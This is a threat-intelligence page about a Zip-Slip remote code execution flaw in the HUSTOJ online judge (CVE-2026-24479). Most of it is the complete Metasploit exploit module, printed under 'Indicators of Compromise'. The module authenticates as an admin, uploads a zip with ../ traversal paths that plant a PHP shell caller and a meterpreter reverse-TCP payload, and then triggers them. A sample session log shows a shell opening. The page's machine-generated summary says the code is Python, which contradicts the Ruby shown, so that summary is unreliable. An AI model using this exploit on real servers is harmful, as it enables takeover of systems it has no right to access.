HUSTOJ Zip-Slip v26.01.24 - RCE
A critical remote code execution (RCE) vulnerability exists in HUSTOJ Zip-Slip version 26. 01. 24. This exploit leverages a Zip-Slip vulnerability to achieve code execution on the affected system. Exploit code is publicly available in Python. No patch or official remediation information is provided.
AI Analysis
Technical Summary
The HUSTOJ Zip-Slip vulnerability in version 26.01.24 allows an attacker to perform remote code execution by exploiting a directory traversal flaw during archive extraction. This Zip-Slip vulnerability enables malicious archive contents to overwrite arbitrary files or execute code on the target system. Public exploit code is available in Python, facilitating potential exploitation. No affected versions list or patch information is provided, and the service is not cloud-hosted.
Potential Impact
Successful exploitation results in remote code execution, allowing an attacker to run arbitrary code on the vulnerable system. This can lead to full system compromise depending on the privileges of the exploited process.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid processing untrusted archive files with HUSTOJ Zip-Slip version 26.01.24 or apply manual mitigations to validate and sanitize archive contents before extraction.
Indicators of Compromise
- exploit-code: # Exploit Title: HUSTOJ Zip-Slip v26.01.24 - RCE # Date: 2026-02-14 # Exploit Author: Marshall Whittaker / oxagast # Vendor Homepage: https://github.com/zhblue/hustoj # Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso (LiveCD, or see above git repo) # Version: Before v26.01.24 # Tested on: Ubuntu # CVE: CVE-2026-24479 # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # This payload is configured for: # msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf # # Patch: # $file_name = $path.zip_entry_name($dir_resource); # $file_name=str_replace('../', '', $file_name); # $file_path = substr($file_name,0,strrpos($file_name, "/")); # # msf exploit(local/test/hustoj_problem_import_rce) > exploit # [*] Started reverse TCP handler on 10.0.1.35:4444 # [*] Running automatic check ("set AutoCheck false" to disable) # [+] The target is vulnerable. # [+] Payload generated! # [*] Random payload tag is: 886b0 ... # [+] Zip file generated! # [+] Connected to the target webserver! # [+] Logged in successfully! # [*] Checking if this account has administrative privileges... # [+] This is an admin account! # [*] Uploading the payload... # [+] Accessed the problem import page! # [+] Payload uploaded!... # [*] Waiting on files to be extracted serverside... # [*] This is where the zipslip happens... # [*] Triggering the php script... # [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500 # [*] Cleaning up the payload caller and shell files... # [+] Boom!! Have fun! # # meterpreter > # # require 'msf/core' require 'nokogiri' require 'digest/md5' # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479) class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'Authenticated admin can upload crafted zip file for RCE', 'Description' => <<~DESC, A user with administrative privileges can abuse the problem_import_qduoj.php CGI script using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the webroot, where they can extract a PHP file containing a shell to get full RCE in the context of the webserver. DESC 'Author' => [ 'Marshall Whittaker', 'LoTuS and friends', 'ling101w' ], 'License' => MSF_LICENSE, 'ARCH' => [ARCH_X86], 'References' => [ ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \ '/CVE-2026-24479/hustoj_problem_import_rce.rb'], ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \ '6899314b33101f'], ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'], ['CVE', '2026-24479'], ['CWE', '22'] ], 'Platform' => 'linux', 'Targets' => [ [ 'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)', { 'Privileged' => false } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] }, 'DisclosureDate' => '2026-01-26', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), Opt::LPORT(4444), OptString.new('RHOST', [true, "The target machine's IP", '']), OptString.new('LHOST', [true, "This machine's IP", '']), OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']), OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']), OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']), OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]), OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6]) ], self.class ) register_advanced_options([ OptBool.new('HANDLER', [true, 'Start an exploit/multi/handler job to receive the connection', true]) ]) deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL') end # Check if the target is likely vulnerable def check res = send_request_cgi( 'uri' => '/include/reinfo.js', 'method' => 'GET', 'ctype' => 'application/javascript' ) return Exploit::CheckCode::Unknown if res.nil? return Exploit::CheckCode::Appears if res.code != 200 return Exploit::CheckCode::Detected if res.code == 200 && res.body.include?('function escapeHtml(str) {') return Exploit::CheckCode::Vulnerable if res.code == 200 && !res.body.include?('function escapeHtml(str) {') Exploit::CheckCode::Safe end # Authenticate as admin and return session cookies def login(user, pass) res = send_request_cgi( { 'uri' => '/', 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' }, 3 ) if res && res.code == 200 print_good("Connected to the target webserver! #{datastore['RHOST']}:#{datastore['RPORT']}") else fail_with( Failure::Unreachable, 'Failed to connect to the target webserver!' ) end cook = res.get_cookies send_request_cgi( 'uri' => '/csrf.php', 'cookies' => cook, 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) send_request_cgi( 'uri' => '/loginpage.php', 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) res = send_request_cgi( 'uri' => '/csrf.php', 'cookies' => cook, 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) doc = Nokogiri::HTML(res.body) csrf = doc.css('input[name="csrf"]').first['value'] send_request_cgi( 'method' => 'POST', 'uri' => '/login.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'user_id' => user, 'password' => Digest::MD5.hexdigest(pass), 'csrf' => csrf } ) # Check if login was successful res = send_request_cgi( 'method' => 'GET', 'uri' => '/modifypage.php', 'cookies' => cook, 'keep_cookies' => true ) if res && res.code == 200 && res.body.include?('userinfo.php') stars = '*' * pass.length print_good("Logged in successfully! #{user}:#{stars}") else fail_with( Failure::BadConfig, 'Failed to authenticate! Check credentials.' ) end # Check if the account has admin privileges res = send_request_cgi( 'method' => 'GET', 'uri' => '/admin/menu2.php', 'cookies' => cook, 'keep_cookies' => true ) if res && res.code == 200 && res.body.include?('problem_import.php') print_good('This is an admin account! res.body includes problem_import.php') else print_error('This does not appear to be an admin account! Attempting to continue,') print_error(' but the exploit may fail at the payload upload stage...') end cook end # Upload the malicious zip payload using the admin session def upload_payload(zip_dat, rand_tag, cook, dds) zip_size_kb = (zip_dat.length / 1024.0).round(2) print_status("Uploading the payload... #{zip_size_kb}kb") # Access the problem import page to get the postkey res = send_request_cgi( 'method' => 'GET', 'cookies' => cook, 'uri' => '/admin/problem_import.php', 'keep_cookies' => true, 'ctype' => 'text/html' ) if res && res.code == 200 && res.body.include?('problem_import_qduoj.php') print_good('Accessed the problem import page! /admin/problem_import.php') else fail_with( Failure::UnexpectedReply, 'Failed to access the problem import page!' ) end doc = Nokogiri::HTML(res.body) postkey_input = doc.at_css('input[name="postkey"]') postkey = postkey_input ? postkey_input['value'] : nil fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty? form_boundary = "----WebKitFormBoundary#{rand_tag}" form_data = <<~FORMDATA --#{form_boundary} Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip" Content-Type: application/zip #{zip_dat} --#{form_boundary} Content-Disposition: form-data; name=postkey #{postkey} --#{form_boundary}-- FORMDATA res = send_request_cgi( 'method' => 'POST', 'uri' => '/admin/problem_import_qduoj.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_boundary}", 'data' => form_data ) if res && res.code == 200 print_good("Payload uploaded! #{datastore['dropfile']}.zip") else print_error('Failed to upload the payload, trying again for a different revision...') form_data = <<~FORMDATA --#{form_boundary} Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip" Content-Type: application/zip #{zip_dat} --#{form_boundary} FORMDATA res = send_request_cgi( 'method' => 'POST', 'uri' => '/admin/problem_import_qduoj.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_boundary}", 'data' => form_data ) if res && res.code == 200 print_good("Payload uploaded! #{datastore['dropfile']}.zip") else fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!') end end print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['traverse_limit']})") end # Trigger the uploaded PHP shell to execute the payload def trigger_sploit(rand_tag) print_status("Triggering the php script... #{datastore['dropfile']}-#{rand_tag}.php") send_request_raw( { 'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php", 'ctype' => 'text/html', 'method' => 'GET' }, datastore['TRIGGER_WAIT'] ) end # Clean up dropped files after exploitation def cleanup super send_request_raw( { 'uri' => '/cleanup-msf.php', 'ctype' => 'text/html', 'method' => 'GET' } ) print_status('Cleaning up the payload caller and shell files...') print_good('Boom!! Have fun!') unless framework.sessions.length.zero? end # Main exploit logic def exploit # Generate the payload ELF binary pay = framework.modules.create(datastore['payload']) pay.datastore['LHOST'] = datastore['LHOST'] pay.datastore['RHOST'] = datastore['RHOST'] pay.datastore['LPORT'] = datastore['LPORT'] shell_gend = pay.generate_simple({ 'Format' => 'elf' }) if shell_gend == '' fail_with( Failure::PayloadFailed, 'Payload generation failed! Try a different payload?' ) end print_good("Payload generated! #{datastore['payload']}") # Generate a random tag for file uniqueness rand_tag = '%05x' % rand(0xfffff + 1) print_status("Random payload tag #{rand_tag}") # PHP script to call the ELF payload shell_caller = "<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>" # PHP script to clean up dropped files cleanup_caller = "<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}" \ "-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>" dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip # Files to include in the malicious zip (zipslip paths for traversal) files = [ { data: shell_gend, fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" }, { data: shell_caller, fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" }, { data: cleanup_caller, fname: "#{dds}home/judge/src/web/cleanup-msf.php" }, { data: '{}', fname: 'problem_1010.json' }, { data: '', fname: 'problem_1010/1.in' }, { data: '', fname: 'problem_1010/1.out' } ] # Create the malicious zip archive zip_dat = Msf::Util::EXE.to_zip(files) fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty? print_good("Zip file generated! Files: #{files.length}") # Authenticate and upload the payload cookies = login(datastore['USERNAME'], datastore['PASSWORD']) upload_payload(zip_dat, rand_tag, cookies, dds) # Trigger the PHP shell to execute the payload trigger_sploit(rand_tag) end end
HUSTOJ Zip-Slip v26.01.24 - RCE
Description
A critical remote code execution (RCE) vulnerability exists in HUSTOJ Zip-Slip version 26. 01. 24. This exploit leverages a Zip-Slip vulnerability to achieve code execution on the affected system. Exploit code is publicly available in Python. No patch or official remediation information is provided.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The HUSTOJ Zip-Slip vulnerability in version 26.01.24 allows an attacker to perform remote code execution by exploiting a directory traversal flaw during archive extraction. This Zip-Slip vulnerability enables malicious archive contents to overwrite arbitrary files or execute code on the target system. Public exploit code is available in Python, facilitating potential exploitation. No affected versions list or patch information is provided, and the service is not cloud-hosted.
Potential Impact
Successful exploitation results in remote code execution, allowing an attacker to run arbitrary code on the vulnerable system. This can lead to full system compromise depending on the privileges of the exploited process.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid processing untrusted archive files with HUSTOJ Zip-Slip version 26.01.24 or apply manual mitigations to validate and sanitize archive contents before extraction.
Technical Details
- Edb Id
- 52539
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for HUSTOJ Zip-Slip v26.01.24 - RCE
# Exploit Title: HUSTOJ Zip-Slip v26.01.24 - RCE # Date: 2026-02-14 # Exploit Author: Marshall Whittaker / oxagast # Vendor Homepage: https://github.com/zhblue/hustoj # Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso (LiveCD, or see above git repo) # Version: Before v26.01.24 # Tested on: Ubuntu # CVE: CVE-2026-24479 # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # This payload is... (13792 more characters)
Threat ID: 69f5140dcbff5d86105a402e
Added to database: 5/1/2026, 8:58:53 PM
Last enriched: 5/1/2026, 8:59:20 PM
Last updated: 5/2/2026, 6:56:51 AM
Views: 11
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.